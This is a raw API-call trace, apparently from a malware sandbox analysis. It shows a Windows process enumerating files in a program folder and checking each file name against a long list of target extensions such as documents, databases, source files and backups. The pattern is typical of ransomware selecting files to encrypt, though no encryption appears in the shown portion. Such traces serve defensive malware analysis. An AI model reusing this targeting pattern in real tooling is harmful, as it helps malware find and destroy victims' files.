	[0179.393] lstrlenW (lpString=".doc") returned 4
	[0179.394] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0179.394] lstrlenW (lpString=".docm") returned 5
	[0179.394] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1
	[0179.394] lstrlenW (lpString=".docx") returned 5
	[0179.394] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0179.394] lstrlenW (lpString=".dot") returned 4
	[0179.394] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1
	[0179.394] lstrlenW (lpString=".dotm") returned 5
	[0179.394] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1
	[0179.394] lstrlenW (lpString=".dotx") returned 5
	[0179.394] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1
	[0179.394] lstrlenW (lpString=".dpx") returned 4
	[0179.394] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1
	[0179.394] lstrlenW (lpString=".dqy") returned 4
	[0179.394] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1
	[0179.394] lstrlenW (lpString=".dsn") returned 4
	[0179.394] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1
	[0179.394] lstrlenW (lpString=".dt") returned 3
	[0179.394] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1
	[0179.394] lstrlenW (lpString=".dtd") returned 4
	[0179.394] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1
	[0179.394] lstrlenW (lpString=".dwg") returned 4
	[0179.395] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1
	[0179.395] lstrlenW (lpString=".dwt") returned 4
	[0179.395] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1
	[0179.395] lstrlenW (lpString=".dx") returned 3
	[0179.395] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1
	[0179.395] lstrlenW (lpString=".dxf") returned 4
	[0179.395] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1
	[0179.395] lstrlenW (lpString=".edml") returned 5
	[0179.395] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1
	[0179.395] lstrlenW (lpString=".efd") returned 4
	[0179.395] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1
	[0179.395] lstrlenW (lpString=".elf") returned 4
	[0179.395] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1
	[0179.395] lstrlenW (lpString=".emf") returned 4
	[0179.395] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1
	[0179.395] lstrlenW (lpString=".emz") returned 4
	[0179.395] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1
	[0179.395] lstrlenW (lpString=".epf") returned 4
	[0179.395] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1
	[0179.395] lstrlenW (lpString=".eps") returned 4
	[0179.395] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1
	[0179.395] lstrlenW (lpString=".epsf") returned 5
	[0179.395] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1
	[0179.395] lstrlenW (lpString=".epsp") returned 5
	[0179.395] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1
	[0179.396] lstrlenW (lpString=".erf") returned 4
	[0179.396] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1
	[0179.396] lstrlenW (lpString=".exr") returned 4
	[0179.396] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1
	[0179.396] lstrlenW (lpString=".f4v") returned 4
	[0179.396] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1
	[0179.396] lstrlenW (lpString=".fido") returned 5
	[0179.396] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1
	[0179.396] lstrlenW (lpString=".flm") returned 4
	[0179.396] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1
	[0179.396] lstrlenW (lpString=".flv") returned 4
	[0179.396] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1
	[0179.396] lstrlenW (lpString=".frm") returned 4
	[0179.396] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1
	[0179.396] lstrlenW (lpString=".fxg") returned 4
	[0179.396] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1
	[0179.396] lstrlenW (lpString=".geo") returned 4
	[0179.396] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1
	[0179.396] lstrlenW (lpString=".gif") returned 4
	[0179.396] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1
	[0179.396] lstrlenW (lpString=".grs") returned 4
	[0179.396] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1
	[0179.396] lstrlenW (lpString=".gz") returned 3
	[0179.396] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1
	[0179.397] lstrlenW (lpString=".h") returned 2
	[0179.397] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0179.397] lstrlenW (lpString=".hdr") returned 4
	[0179.397] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1
	[0179.397] lstrlenW (lpString=".hpp") returned 4
	[0179.397] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1
	[0179.397] lstrlenW (lpString=".hta") returned 4
	[0179.397] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1
	[0179.397] lstrlenW (lpString=".htc") returned 4
	[0179.397] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1
	[0179.397] lstrlenW (lpString=".htm") returned 4
	[0179.397] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1
	[0179.397] lstrlenW (lpString=".html") returned 5
	[0179.397] lstrcmpiW (lpString1=".html", lpString2="e.xml") returned -1
	[0179.397] lstrlenW (lpString=".icb") returned 4
	[0179.397] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1
	[0179.397] lstrlenW (lpString=".ics") returned 4
	[0179.397] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1
	[0179.397] lstrlenW (lpString=".iff") returned 4
	[0179.397] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1
	[0179.397] lstrlenW (lpString=".inc") returned 4
	[0179.397] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1
	[0179.398] lstrlenW (lpString=".indd") returned 5
	[0179.398] lstrcmpiW (lpString1=".indd", lpString2="e.xml") returned -1
	[0179.398] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0179.398] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0179.398] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0179.398] FindClose (in: hFindFile=0x76e6a8 | out: hFindFile=0x76e6a8) returned 1
	[0179.399] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0179.400] FindNextFileW (in: hFindFile=0x76f1a8, lpFindFileData=0x372ee10 | out: lpFindFileData=0x372ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0179.400] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4110000
	[0179.400] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\*", lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e6a8
	[0179.401] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0179.401] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x8fbd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0179.401] lstrlenW (lpString="index.html") returned 10
	[0179.401] lstrlenW (lpString=".1cd") returned 4
	[0179.401] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0179.401] lstrlenW (lpString=".3ds") returned 4
	[0179.401] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0179.401] lstrlenW (lpString=".3fr") returned 4
	[0179.401] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0179.401] lstrlenW (lpString=".3g2") returned 4
	[0179.401] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0179.401] lstrlenW (lpString=".3gp") returned 4
	[0179.402] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0179.402] lstrlenW (lpString=".7z") returned 3
	[0179.402] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0179.402] lstrlenW (lpString=".accda") returned 6
	[0179.402] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1
	[0179.402] lstrlenW (lpString=".accdb") returned 6
	[0179.402] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1
	[0179.402] lstrlenW (lpString=".accdc") returned 6
	[0179.402] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1
	[0179.402] lstrlenW (lpString=".accde") returned 6
	[0179.402] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1
	[0179.402] lstrlenW (lpString=".accdt") returned 6
	[0179.402] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1
	[0179.402] lstrlenW (lpString=".accdw") returned 6
	[0179.402] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1
	[0179.402] lstrlenW (lpString=".adb") returned 4
	[0179.402] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0179.402] lstrlenW (lpString=".adp") returned 4
	[0179.402] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0179.402] lstrlenW (lpString=".ai") returned 3
	[0179.402] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0179.402] lstrlenW (lpString=".ai3") returned 4
	[0179.402] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0179.402] lstrlenW (lpString=".ai4") returned 4
	[0179.402] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0179.402] lstrlenW (lpString=".ai5") returned 4
	[0179.402] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0179.402] lstrlenW (lpString=".ai6") returned 4
	[0179.402] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0179.402] lstrlenW (lpString=".ai7") returned 4
	[0179.402] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0179.403] lstrlenW (lpString=".ai8") returned 4
	[0179.403] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0179.403] lstrlenW (lpString=".anim") returned 5
	[0179.403] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0179.403] lstrlenW (lpString=".arw") returned 4
	[0179.403] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0179.403] lstrlenW (lpString=".as") returned 3
	[0179.492] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0179.492] lstrlenW (lpString=".asa") returned 4
	[0179.492] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0179.492] lstrlenW (lpString=".asc") returned 4
	[0179.492] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0179.492] lstrlenW (lpString=".ascx") returned 5
	[0179.492] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0179.492] lstrlenW (lpString=".asm") returned 4
	[0179.492] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0179.492] lstrlenW (lpString=".asmx") returned 5
	[0179.492] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0179.492] lstrlenW (lpString=".asp") returned 4
	[0179.492] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0179.492] lstrlenW (lpString=".aspx") returned 5
	[0179.492] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0179.492] lstrlenW (lpString=".asr") returned 4
	[0179.492] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0179.492] lstrlenW (lpString=".asx") returned 4
	[0179.492] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0179.493] lstrlenW (lpString=".avi") returned 4
	[0179.493] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0179.493] lstrlenW (lpString=".avs") returned 4
	[0179.493] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0179.493] lstrlenW (lpString=".backup") returned 7
	[0179.493] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1
	[0179.493] lstrlenW (lpString=".bak") returned 4
	[0179.493] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0179.493] lstrlenW (lpString=".bay") returned 4
	[0179.493] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0179.493] lstrlenW (lpString=".bd") returned 3
	[0179.493] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0179.493] lstrlenW (lpString=".bin") returned 4
	[0179.493] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0179.493] lstrlenW (lpString=".bmp") returned 4
	[0179.493] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0179.493] lstrlenW (lpString=".bz2") returned 4
	[0179.493] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0179.493] lstrlenW (lpString=".c") returned 2
	[0179.493] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0179.493] lstrlenW (lpString=".cdr") returned 4
	[0179.493] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0179.493] lstrlenW (lpString=".cer") returned 4
	[0179.493] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0179.493] lstrlenW (lpString=".cf") returned 3
	[0179.493] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0179.493] lstrlenW (lpString=".cfc") returned 4
	[0179.493] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0179.493] lstrlenW (lpString=".cfm") returned 4
	[0179.493] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0179.493] lstrlenW (lpString=".cfml") returned 5
	[0179.494] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0179.494] lstrlenW (lpString=".cfu") returned 4
	[0179.494] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0179.494] lstrlenW (lpString=".chm") returned 4
	[0179.494] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0179.494] lstrlenW (lpString=".cin") returned 4
	[0179.494] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0179.494] lstrlenW (lpString=".class") returned 6
	[0179.494] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1
	[0179.494] lstrlenW (lpString=".clx") returned 4
	[0179.494] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0179.494] lstrlenW (lpString=".config") returned 7
	[0179.494] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1
	[0179.494] lstrlenW (lpString=".cpp") returned 4
	[0179.494] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0179.494] lstrlenW (lpString=".cr2") returned 4
	[0179.494] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0179.494] lstrlenW (lpString=".crt") returned 4
	[0179.494] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0179.494] lstrlenW (lpString=".crw") returned 4
	[0179.494] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0179.494] lstrlenW (lpString=".cs") returned 3
	[0179.494] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0179.494] lstrlenW (lpString=".css") returned 4
	[0179.494] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0179.494] lstrlenW (lpString=".csv") returned 4
	[0179.494] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0179.494] lstrlenW (lpString=".cub") returned 4
	[0179.494] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0179.494] lstrlenW (lpString=".dae") returned 4
	[0179.494] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0179.494] lstrlenW (lpString=".dat") returned 4
	[0179.495] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0179.495] lstrlenW (lpString=".db") returned 3
	[0179.495] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0179.495] lstrlenW (lpString=".dbf") returned 4
	[0179.495] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0179.495] lstrlenW (lpString=".dbx") returned 4
	[0179.495] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0179.495] lstrlenW (lpString=".dc3") returned 4
	[0179.495] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0179.495] lstrlenW (lpString=".dcm") returned 4
	[0179.495] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0179.495] lstrlenW (lpString=".dcr") returned 4
	[0179.495] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0179.495] lstrlenW (lpString=".der") returned 4
	[0179.495] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0179.495] lstrlenW (lpString=".dib") returned 4
	[0179.495] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0179.495] lstrlenW (lpString=".dic") returned 4
	[0179.495] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0179.495] lstrlenW (lpString=".dif") returned 4
	[0179.495] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0179.495] lstrlenW (lpString=".divx") returned 5
	[0179.495] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0179.495] lstrlenW (lpString=".djvu") returned 5
	[0179.495] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0179.495] lstrlenW (lpString=".dng") returned 4
	[0179.495] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0179.495] lstrlenW (lpString=".doc") returned 4
	[0179.495] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0179.495] lstrlenW (lpString=".docm") returned 5
	[0179.495] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0179.496] lstrlenW (lpString=".docx") returned 5
	[0179.496] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0179.496] lstrlenW (lpString=".dot") returned 4
	[0179.496] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0179.496] lstrlenW (lpString=".dotm") returned 5
	[0179.496] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0179.496] lstrlenW (lpString=".dotx") returned 5
	[0179.496] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0179.496] lstrlenW (lpString=".dpx") returned 4
	[0179.496] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0179.496] lstrlenW (lpString=".dqy") returned 4
	[0179.496] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0179.496] lstrlenW (lpString=".dsn") returned 4
	[0179.496] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0179.496] lstrlenW (lpString=".dt") returned 3
	[0179.496] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0179.496] lstrlenW (lpString=".dtd") returned 4
	[0179.496] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0179.496] lstrlenW (lpString=".dwg") returned 4
	[0179.496] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0179.496] lstrlenW (lpString=".dwt") returned 4
	[0179.496] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0179.496] lstrlenW (lpString=".dx") returned 3
	[0179.496] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0179.496] lstrlenW (lpString=".dxf") returned 4
	[0179.496] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0179.496] lstrlenW (lpString=".edml") returned 5
	[0179.496] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0179.496] lstrlenW (lpString=".efd") returned 4
	[0179.496] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0179.496] lstrlenW (lpString=".elf") returned 4
	[0179.497] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0179.497] lstrlenW (lpString=".emf") returned 4
	[0179.497] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0179.497] lstrlenW (lpString=".emz") returned 4
	[0179.497] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0179.497] lstrlenW (lpString=".epf") returned 4
	[0179.497] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0179.497] lstrlenW (lpString=".eps") returned 4
	[0179.497] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0179.497] lstrlenW (lpString=".epsf") returned 5
	[0179.497] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0179.497] lstrlenW (lpString=".epsp") returned 5
	[0179.497] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0179.497] lstrlenW (lpString=".erf") returned 4
	[0179.497] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0179.497] lstrlenW (lpString=".exr") returned 4
	[0179.497] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0179.497] lstrlenW (lpString=".f4v") returned 4
	[0179.497] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0179.497] lstrlenW (lpString=".fido") returned 5
	[0179.497] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0179.497] lstrlenW (lpString=".flm") returned 4
	[0179.497] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0179.497] lstrlenW (lpString=".flv") returned 4
	[0179.497] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0179.497] lstrlenW (lpString=".frm") returned 4
	[0179.497] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0179.497] lstrlenW (lpString=".fxg") returned 4
	[0179.498] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0179.498] lstrlenW (lpString=".geo") returned 4
	[0179.498] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0179.498] lstrlenW (lpString=".gif") returned 4
	[0179.498] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0179.498] lstrlenW (lpString=".grs") returned 4
	[0179.498] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0179.498] lstrlenW (lpString=".gz") returned 3
	[0179.498] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0179.498] lstrlenW (lpString=".h") returned 2
	[0179.498] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0179.498] lstrlenW (lpString=".hdr") returned 4
	[0179.498] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0179.498] lstrlenW (lpString=".hpp") returned 4
	[0179.498] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0179.498] lstrlenW (lpString=".hta") returned 4
	[0179.498] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0179.498] lstrlenW (lpString=".htc") returned 4
	[0179.498] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0179.498] lstrlenW (lpString=".htm") returned 4
	[0179.498] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0179.498] lstrlenW (lpString=".html") returned 5
	[0179.498] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0179.498] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372eb94 | out: lpFindFileData=0x372eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0179.498] lstrlenW (lpString="toastbeginupgrade.xml") returned 21
	[0179.498] lstrlenW (lpString=".1cd") returned 4
	[0179.498] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0179.498] lstrlenW (lpString=".3ds") returned 4
	[0179.499] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1
	[0179.499] lstrlenW (lpString=".3fr") returned 4
	[0179.499] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1
	[0179.499] lstrlenW (lpString=".3g2") returned 4
	[0179.499] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1
	[0179.499] lstrlenW (lpString=".3gp") returned 4
	[0179.499] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1
	[0179.499] lstrlenW (lpString=".7z") returned 3
	[0179.499] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0179.499] lstrlenW (lpString=".accda") returned 6
	[0179.499] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1
	[0179.499] lstrlenW (lpString=".accdb") returned 6
	[0179.499] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1
	[0179.499] lstrlenW (lpString=".accdc") returned 6
	[0179.499] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1
	[0179.499] lstrlenW (lpString=".accde") returned 6
	[0179.499] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1
	[0179.499] lstrlenW (lpString=".accdt") returned 6
	[0179.499] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1
	[0179.499] lstrlenW (lpString=".accdw") returned 6
	[0179.499] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1
	[0179.499] lstrlenW (lpString=".adb") returned 4
	[0179.499] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1
	[0179.499] lstrlenW (lpString=".adp") returned 4
	[0179.499] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1
	[0179.499] lstrlenW (lpString=".ai") returned 3
	[0179.499] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1
	[0179.500] lstrlenW (lpString=".ai3") returned 4
